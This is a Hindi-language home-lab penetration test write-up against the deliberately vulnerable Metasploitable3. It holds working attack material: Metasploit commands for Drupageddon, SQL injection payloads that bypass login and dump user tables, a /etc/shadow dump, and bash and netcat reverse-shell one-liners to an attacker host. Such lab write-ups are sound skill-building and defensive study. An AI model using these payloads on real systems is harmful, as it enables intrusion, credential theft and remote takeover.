Metasploitable3 — पेनेट्रेशन टेस्ट रिपोर्ट

लेखक: Arlen Fortunato
दिनांक: सितंबर 2026
वातावरण: Parrot OS (हमलावर) → Metasploitable3 Ubuntu 14.04 (लक्ष्य)
दायरा: पूर्ण नेटवर्क पेनेट्रेशन टेस्ट — एन्यूमरेशन, एक्सप्लॉइटेशन, privesc, पोस्ट-एक्सप्लॉइटेशन
प्रकार: होम लैब / कैप्चर द फ्लैग अभ्यास

⚠️ नीचे दिए गए सभी क्रेडेंशियल्स redacted हैं। यह एक वैध, पृथक होम-लैब अभ्यास था।

प्रयुक्त उपकरण

रेकॉनिसेंस — Nmap पूर्ण पोर्ट स्कैन

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

निष्कर्ष सारांश

निष्कर्ष विवरण

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — फॉल्स पॉज़िटिव

भेद्यता: UnrealIRCd 3.2.8.1 ऐतिहासिक रूप से एक ट्रोजनयुक्त बाइनरी के साथ वितरित किया गया था जो अनधिकृत क्लाइंट द्वारा पंजीकरण से पहले ट्रिगर स्ट्रिंग भेजने पर मनमाने कमांड निष्पादित करता है — IRC डेमन उपयोगकर्ता के रूप में RCE।

एक्सप्लॉइटेशन प्रयास: Metasploit मॉड्यूल exploit/unix/irc/unreal_ircd_3281_backdoor पेलोड cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash के साथ। मॉड्यूल ऑटो-चेक ने सेवा को भेद्य बताया; किसी भी पेलोड पर कोई सेशन वापस नहीं आया।

किए गए ट्रबलशूटिंग:

• पोर्ट पहुंच योग्य (nc -vz)
• पोर्ट की पुष्टि plaintext IRC के रूप में, TLS नहीं (openssl s_client)
• लक्ष्य से मैनुअल रिवर्स कनेक्ट-बैक ने आउटबाउंड नेटवर्किंग कार्य करने की पुष्टि की
• nc के माध्यम से मैनुअल बैकडोर ट्रिगर ने IRC प्रोटोकॉल त्रुटि 451 लौटाई — कमांड को IRC कमांड के रूप में पार्स किया गया, कभी निष्पादित नहीं हुआ

निष्कर्ष: संस्करण बैनर भेद्य बिल्ड को इंगित करता है, लेकिन इस इंस्टेंस में बैकडोर अनुपस्थित है (स्वच्छ/पुनःसंकलित बाइनरी)। साक्ष्य के साथ गैर-शोषणीय — फॉल्स पॉज़िटिव के रूप में वर्गीकृत।

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

भेद्यता: Drupal 7.x 7.32 से पहले डेटाबेस एब्स्ट्रैक्शन लेयर में एक गंभीर SQL इंजेक्शन शामिल है जो अनधिकृत रिमोट कोड निष्पादन को सक्षम बनाता है।

संस्करण पुष्टि: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

एक्सप्लॉइटेशन:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

परिणाम:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

पोस्ट-एक्सप्लॉइटेशन एन्यूमरेशन:

• /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
• /home: 16 उपयोगकर्ता खाते

3. Payroll ऐप — UNION-आधारित SQL इंजेक्शन (मैनुअल)

भेद्यता: payroll_app.php लॉगिन फॉर्म, पासवर्ड फ़ील्ड में SQL इंजेक्शन। कोई ऑटोमेशन उपयोग नहीं किया गया — curl के माध्यम से निर्मित।

चरण 1 — प्रमाणीकरण बायपास:

' or 1=1#

' SQL स्ट्रिंग को बंद करता है, or 1=1 को सत्य बाध्य करता है, # पीछे के कोट को कमेंट कर देता है।

चरण 2 — कॉलम गणना + डिस्प्ले मैपिंग:

' UNION SELECT null, null, null, null#     -- कोई त्रुटि नहीं = 4 कॉलम
' UNION SELECT 1, 2, 3, 4#                 -- मार्कर: 1=Username, 2=First, 3=Last, 4=Salary

चरण 3 — information_schema एन्यूमरेशन:

चरण 4 — डंप (पासवर्ड redacted):

' UNION SELECT username, password, salary, null FROM users#

4. SSH — डिफ़ॉल्ट क्रेडेंशियल और क्रेडेंशियल पुनःउपयोग

पथ 1 — डिफ़ॉल्ट खाता: डिफ़ॉल्ट vagrant क्रेडेंशियल जोड़ी SSH पर प्रमाणित → sudo समूह में उपयोगकर्ता (ALL : ALL) NOPASSWD: ALL के साथ।

पथ 2 — क्रेडेंशियल पुनःउपयोग: SQLi डंप से एकत्र किए गए क्रेडेंशियल सीधे SSH पर एक अन्य लैब उपयोगकर्ता (luke_skywalker, sudo समूह, (ALL : ALL) ALL) के रूप में प्रमाणित।

महत्व: क्रॉस-सर्विस क्रेडेंशियल पुनःउपयोग प्रदर्शित करता है — एप्लिकेशन क्रेडेंशियल एक सिस्टम खाते से मैप किए गए।

5. प्रिविलेज एस्केलेशन (दो पथ)

• पथ A: vagrant → sudo -l दिखाता है NOPASSWD: ALL → sudo su - → uid=0(root)।
• पथ B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)।

किसी स्थानीय एक्सप्लॉइट की आवश्यकता नहीं — दोनों खातों में अत्यधिक अनुमतिपूर्ण sudo अनुदान हैं।

6. Shadow डंप

sudo cat /etc/shadow

16 md5crypt ($1$) हैश निकाले गए — प्रिवेस्क के बाद पूर्ण क्रेडेंशियल संग्रह।

7. पोस्ट-एक्सप्लॉइटेशन — रिवर्स शेल

पेलोड 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

nc -lnvp 4444 पर कैप्चर → इंटरैक्टिव शेल।

पेलोड 2 — netcat (नेम्ड-पाइप):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

nc -lnvp 4445 पर कैप्चर → इंटरैक्टिव शेल।

तंत्र: नेम्ड पाइप (FIFO) netcat stdin/stdout को /bin/sh से जोड़ता है, एक सिंगल-सॉकेट द्विदिशात्मक टनल बनाता है; बाद में FIFO साफ किया गया।

उपचार सिफारिशें

अस्वीकरण

सभी परीक्षण विशेष रूप से एक पृथक होम लैब में जानबूझकर भेद्य सॉफ़्टवेयर (Rapid7 Metasploitable3) का उपयोग करके किए गए थे। किसी उत्पादन प्रणाली या अनधिकृत लक्ष्य को शामिल नहीं किया गया। यह रिपोर्ट केवल शैक्षिक उद्देश्यों और व्यक्तिगत कौशल विकास के लिए है।